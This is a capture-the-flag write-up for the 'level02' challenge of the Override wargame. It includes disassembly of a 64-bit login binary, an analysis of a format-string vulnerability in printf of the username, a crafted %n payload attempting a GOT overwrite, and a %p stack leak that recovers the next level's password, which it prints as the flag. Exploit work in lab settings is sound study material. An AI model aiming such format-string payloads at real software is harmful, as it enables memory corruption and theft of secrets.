

LEVEL02:

[illegible]

We can observe that the program reads twice on stdin. We do not know where the strings are stored yet. It doesn't **segfault** from the inputs given above, maybe we haven't reach the limit but we do not seem to overflow any return address.

Readelf -h :

```
level02@Override:~$ readelf -h level02
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                               ELF64
  Data:                                   2's complement, little endian
  Version:                               1 (current)
  OS/ABI:                                UNIX - System V
  ABI Version:                           0
  Type:                                  EXEC (Executable file)
  Machine:                               Advanced Micro Devices X86-64
  Version:                               0x1
  Entry point address:                   0x400730
  Start of program headers:              64 (bytes into file)
  Start of section headers:              4976 (bytes into file)
  Flags:                                  0x0
  Size of this header:                    64 (bytes)
  Size of program headers:                56 (bytes)
  Number of program headers:              8
  Size of section headers:                64 (bytes)
  Number of section headers:              30
  Section header string table index: 27
level02@Override:~$
```

This is a 64bit binary

Strings:

```

➔ ex02 strings ../Debug_files/level02
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
exit
fopen
strncmp
puts
stdin
printf
fgets
strcspn
fclose
stderr
system
fwrite
fread
__libc_start_main
GLIBC_2.2.5
fff.
)tRH
l$ L
t$(L
l$0H
/home/users/level03/.pass
ERROR: failed to open password file
ERROR: failed to read password file
===== [ Secure Access System v1.0 ] =====
/*****\
| You must login to access this system. |
\*****/
--[ Username:
--[ Password:
*****
Greetings, %s!
/bin/sh
does not have access!
;*3$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab

```

Objdump -d :

```

000000000400814 <main>:
400814: 55                push    %rbp
400815: 48 89 e5          mov     %rsp,%rbp
400818: 48 81 ec 20 01 00 00 sub     $0x120,%rsp
40081f: 89 bd ec fe ff ff mov     %edi,-0x114(%rbp)
400825: 48 89 b5 e0 fe ff ff mov     %rsi,-0x120(%rbp)
40082c: 48 8d 55 90       lea     -0x70(%rbp),%rdx
400830: b8 00 00 00 00    mov     $0x0,%eax
400835: b9 0c 00 00 00    mov     $0xc,%ecx
40083a: 48 89 d7          mov     %rdx,%rdi
40083d: f3 48 ab          rep stos %rax,%es:(%rdi)
400840: 48 89 fa          mov     %rdi,%rdx
400843: 89 02             mov     %eax,(%rdx)
400845: 48 83 c2 04       add     $0x4,%rdx
400849: 48 8d 95 60 ff ff ff lea     -0xa0(%rbp),%rdx
400850: b8 00 00 00 00    mov     $0x0,%eax
400855: b9 05 00 00 00    mov     $0x5,%ecx
40085a: 48 89 d7          mov     %rdx,%rdi
40085d: f3 48 ab          rep stos %rax,%es:(%rdi)
400860: 48 89 fa          mov     %rdi,%rdx
400863: 88 02             mov     %al,(%rdx)
400865: 48 83 c2 01       add     $0x1,%rdx
400869: 48 8d 95 f0 fe ff ff lea     -0x110(%rbp),%rdx
400870: b8 00 00 00 00    mov     $0x0,%eax
400875: b9 0c 00 00 00    mov     $0xc,%ecx
40087a: 48 89 d7          mov     %rdx,%rdi
40087d: f3 48 ab          rep stos %rax,%es:(%rdi)
400880: 48 89 fa          mov     %rdi,%rdx
400883: 89 02             mov     %eax,(%rdx)
400885: 48 83 c2 04       add     $0x4,%rdx
400889: 48 c7 45 f8 00 00 00 movq    $0x0,-0x8(%rbp)
400890: 00
400891: c7 45 f4 00 00 00 00 movl    $0x0,-0xc(%rbp)
400898: ba b0 0b 40 00    mov     $0x400bb0,%edx
40089d: b8 b2 0b 40 00    mov     $0x400bb2,%eax
4008a2: 48 89 d6          mov     %rdx,%rsi
4008a5: 48 89 c7          mov     %rax,%rdi
4008a8: e8 53 fe ff ff    callq   400700 <fopen@plt>
4008ad: 48 89 45 f8       mov     %rax,-0x8(%rbp)
4008b1: 48 83 7d f8 00    cmpq    $0x0,-0x8(%rbp)
4008b6: 75 2e             jne     4008e6 <main+0xd2>
4008b8: 48 8b 05 91 09 20 00 mov     0x200991(%rip),%rax # 601250 <stderr@@GLIBC_2.2.5>
4008bf: 48 89 c2          mov     %rax,%rdx
4008c2: b8 d0 0b 40 00    mov     $0x400bd0,%eax
4008c7: 48 89 d1          mov     %rdx,%rcx
4008ca: ba 24 00 00 00    mov     $0x24,%edx
4008cf: be 01 00 00 00    mov     $0x1,%esi
4008d4: 48 89 c7          mov     %rax,%rdi
4008d7: e8 44 fe ff ff    callq   400720 <fwrite@plt>

```

```

4008dc:    bf 01 00 00 00      mov     $0x1,%edi
4008e1:    e8 2a fe ff ff      callq  400710 <exit@plt>
4008e6:    48 8d 85 60 ff ff ff lea     -0xa0(%rbp),%rax
4008ed:    48 8b 55 f8         mov     -0x8(%rbp),%rdx
4008f1:    48 89 d1            mov     %rdx,%rcx
4008f4:    ba 29 00 00 00      mov     $0x29,%edx
4008f9:    be 01 00 00 00      mov     $0x1,%esi
4008fe:    48 89 c7            mov     %rax,%rdi
400901:    e8 8a fd ff ff      callq  400690 <fread@plt>
400906:    89 45 f4            mov     %eax,-0xc(%rbp)
400909:    48 8d 85 60 ff ff ff lea     -0xa0(%rbp),%rax
400910:    be f5 0b 40 00      mov     $0x400bf5,%esi
400915:    48 89 c7            mov     %rax,%rdi
400918:    e8 b3 fd ff ff      callq  4006d0 <strncpy@plt>
40091d:    c6 84 05 60 ff ff ff movb    $0x0,-0xa0(%rbp,%rax,1)
400924:    00
400925:    83 7d f4 29         cmpl    $0x29,-0xc(%rbp)
400929:    74 52              je      40097d <main+0x169>
40092b:    48 8b 05 1e 09 20 00 mov     0x20091e(%rip),%rax      # 601250 <stderr@@GLIBC_2.2.5>
400932:    48 89 c2            mov     %rax,%rdx
400935:    b8 f8 0b 40 00      mov     $0x400bf8,%eax
40093a:    48 89 d1            mov     %rdx,%rcx
40093d:    ba 24 00 00 00      mov     $0x24,%edx
400942:    be 01 00 00 00      mov     $0x1,%esi
400947:    48 89 c7            mov     %rax,%rdi
40094a:    e8 d1 fd ff ff      callq  400720 <fwrite@plt>
40094f:    48 8b 05 fa 08 20 00 mov     0x2008fa(%rip),%rax      # 601250 <stderr@@GLIBC_2.2.5>
400956:    48 89 c2            mov     %rax,%rdx
400959:    b8 f8 0b 40 00      mov     $0x400bf8,%eax
40095e:    48 89 d1            mov     %rdx,%rcx
400961:    ba 24 00 00 00      mov     $0x24,%edx
400966:    be 01 00 00 00      mov     $0x1,%esi
40096b:    48 89 c7            mov     %rax,%rdi
40096e:    e8 ad fd ff ff      callq  400720 <fwrite@plt>
400973:    bf 01 00 00 00      mov     $0x1,%edi
400978:    e8 93 fd ff ff      callq  400710 <exit@plt>
40097d:    48 8b 45 f8         mov     -0x8(%rbp),%rax
400981:    48 89 c7            mov     %rax,%rdi
400984:    e8 17 fd ff ff      callq  4006a0 <fclose@plt>
400989:    bf 20 0c 40 00      mov     $0x400c20,%edi
40098e:    e8 ed fc ff ff      callq  400680 <puts@plt>
400993:    bf 50 0c 40 00      mov     $0x400c50,%edi
400998:    e8 e3 fc ff ff      callq  400680 <puts@plt>
40099d:    bf 80 0c 40 00      mov     $0x400c80,%edi
4009a2:    e8 d9 fc ff ff      callq  400680 <puts@plt>
4009a7:    bf b0 0c 40 00      mov     $0x400cb0,%edi
4009ac:    e8 cf fc ff ff      callq  400680 <puts@plt>
4009b1:    b8 d9 0c 40 00      mov     $0x400cd9,%eax
4009b6:    48 89 c7            mov     %rax,%rdi
4009b9:    b8 00 00 00 00      mov     $0x0,%eax

```

```

4009be: e8 fd fc ff ff    callq 4006c0 <printf@plt>
4009c3: 48 8b 05 7e 08 20 00 mov 0x20087e(%rip),%rax    # 601248 <__bss_start>
4009ca: 48 89 c2          mov %rax,%rdx
4009cd: 48 8d 45 90      lea -0x70(%rbp),%rax
4009d1: be 64 00 00 00   mov $0x64,%esi
4009d6: 48 89 c7          mov %rax,%rdi
4009d9: e8 12 fd ff ff   callq 4006f0 <fgets@plt>
4009de: 48 8d 45 90      lea -0x70(%rbp),%rax
4009e2: be f5 0b 40 00   mov $0x400bf5,%esi
4009e7: 48 89 c7          mov %rax,%rdi
4009ea: e8 e1 fc ff ff   callq 4006d0 <strncpy@plt>
4009ef: c6 44 05 90 00   movb $0x0,-0x70(%rbp,%rax,1)
4009f4: b8 e8 0c 40 00   mov $0x400ce8,%eax
4009f9: 48 89 c7          mov %rax,%rdi
4009fc: b8 00 00 00 00   mov $0x0,%eax
400a01: e8 ba fc ff ff   callq 4006c0 <printf@plt>
400a06: 48 8b 05 3b 08 20 00 mov 0x20083b(%rip),%rax    # 601248 <__bss_start>
400a0d: 48 89 c2          mov %rax,%rdx
400a10: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax
400a17: be 64 00 00 00   mov $0x64,%esi
400a1c: 48 89 c7          mov %rax,%rdi
400a1f: e8 cc fc ff ff   callq 4006f0 <fgets@plt>
400a24: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax
400a2b: be f5 0b 40 00   mov $0x400bf5,%esi
400a30: 48 89 c7          mov %rax,%rdi
400a33: e8 98 fc ff ff   callq 4006d0 <strncpy@plt>
400a38: c6 84 05 f0 fe ff ff movb $0x0,-0x110(%rbp,%rax,1)
400a3f: 00
400a40: bf f8 0c 40 00   mov $0x400cf8,%edi
400a45: e8 36 fc ff ff   callq 400680 <puts@plt>
400a4a: 48 8d 8d f0 fe ff ff lea -0x110(%rbp),%rcx
400a51: 48 8d 85 60 ff ff ff lea -0xa0(%rbp),%rax
400a58: ba 29 00 00 00   mov $0x29,%edx
400a5d: 48 89 ce          mov %rcx,%rsi
400a60: 48 89 c7          mov %rax,%rdi
400a63: e8 08 fc ff ff   callq 400670 <strcmp@plt>
400a68: 85 c0            test %eax,%eax
400a6a: 75 2a            jne 400a96 <main+0x282>
400a6c: b8 22 0d 40 00   mov $0x400d22,%eax
400a71: 48 8d 55 90      lea -0x70(%rbp),%rdx
400a75: 48 89 d6          mov %rdx,%rsi
400a78: 48 89 c7          mov %rax,%rdi
400a7b: b8 00 00 00 00   mov $0x0,%eax
400a80: e8 3b fc ff ff   callq 4006c0 <printf@plt>
400a85: bf 32 0d 40 00   mov $0x400d32,%edi
400a8a: e8 21 fc ff ff   callq 4006b0 <system@plt>
400a8f: b8 00 00 00 00   mov $0x0,%eax
400a94: c9              leaveq
400a95: c3              retq

```

```

400a96: 48 8d 45 90      lea -0x70(%rbp),%rax
400a9a: 48 89 c7          mov %rax,%rdi
400a9d: b8 00 00 00 00   mov $0x0,%eax
400aa2: e8 19 fc ff ff   callq 4006c0 <printf@plt>
400aa7: bf 3a 0d 40 00   mov $0x400d3a,%edi
400aac: e8 cf fb ff ff   callq 400680 <puts@plt>
400ab1: bf 01 00 00 00   mov $0x1,%edi
400ab6: e8 55 fc ff ff   callq 400710 <exit@plt>
400abb: 90              nop
400abc: 90              nop
400abd: 90              nop
400abe: 90              nop
400abf: 90              nop

```

From the source file I created from reversing, I can observe that fgets() reads a number of bytes that do not overflow. And so we open the .pass file of level03, and we compare it

with the password we wrote on stdin (after the username). The comparison is done on maximum 0x29 octet (size of what's read from the .pass file). But `strncmp()` stop comparing after it reaches a `'\0'`

But anyway if we wanted to fill our password input with `'\0'`, `strncmp()` would still return 1, because the it compares the first byte of the .pass file with `'\0'`...

Maybe I can overwrite the address of exit in the .got.plt section, but I don't see how, or trigger the `strncmp()` with the password input...

I would like to overwrite the emplacement of the .pass file by the password input, they are contiguous but `s2(password input)` is 0x70 large before `s1(.pass file)` and we stored only 0x64 from the `fgets()`..

Ok, after analyzing the source file, and understanding better `strcspn()`, I see that if the character « `\n` » is not present ... We can not trigger `strcspn()` that returns at most the index of the first `'\0'`, which is added by `fgets` after 0x64 octet from stdin...

Because we call `printf(<username>)` before exit, maybe we can write at an address using the `printf` exploit.

Because `printf` is called after the `strncmp()`, we can try overwrite the call to exit in the .got.plt by the call to the address of where system is called.

For that we need to find the destination address somewhere in the stack, which can be in our `printf` arguments, itself stored on the stack.

so if are argument is stored at `s0`.

In x64 calling convention, arguments are stored in 4 registers, then on the stack, so first arg is our chain, in 1st reg, then second `'%'` is on 2nd register, third `'%'` is in 3rd reg, fourth `'%'` in 4th reg, then fifth, sixth, seventh respectively pop stack 1, 2, 3, 4.

From the code we know that our username input is stored 16 bytes or 2 elem from the stack pointer of `printf`, which will of

course get his ebp and eip pushed on his stack, so we will need to pop 4times.

the target address in .got.plt: 0x601228

the value of where we want to jump instead of exit addr:
0x400a85

So we must write 0x85 at 0x601228 then 0x400a at 0x601229

the 7th and 8th position because we must take 4 arg from registers and 2 arg from the stack before popping the 7th and 8th arg

the stack is at 0x7fffffff480 when printf is called, and our chain is stored in 0x7fffffff530, 0xb0 byte further, but 5 arguments are used before popping from the stack. The thing is it never pops my arg...

```
(gdb) set {long} 0x7fffffffef4b0 = 0x000000000000601228
(gdb) set {long} 0x7fffffffef4b8 = 0x000000000000601228
(gdb) set {long} 0x7fffffffef4c0 = 0x000000000000601228
(gdb) set {long} 0x7fffffffef540 = 0x3830256337313125
(gdb) x 0x601228
0x601228 <exit@got.plt>:          0x000000000000400716
(gdb) ni
0x000000000000400aa7 in main ()
(gdb) x 0x601228
0x601228 <exit@got.plt>:          0x000000000000400716
```

```
level02@OverRide:~$ (echo -en '\x28\x12\x60\x00\x00\x00\x00\x00\x29\x12\x60\x00\x00\x00\x00\x00\x90c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%16261c%29$n'; cat -) | ./level02 1 2 3 4 5 6
===== [ Secure Access System v1.0 ] =====
/*****\
| You must login to access this system. |
\*****/

--[ Username: --[ Password: ****
C` does not have access!
```

But actually printf may print the content of the stack where is

5 * '%p%p' for the 5 registers, 16 * '%p%p' from 0x7ffffffe480 to 0x7ffffffe500 then 6 * '%p%' for the 41 chars extend to 48:

0x756e505234376848	unPR47hH
0x45414a3561733951	EAJ5as9Q
0x377a7143574e6758	7zqCWNgX
0x354a35686e475873	5J5hnGXs
0x48336750664b394d	H3gPfK9M

Flag: Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H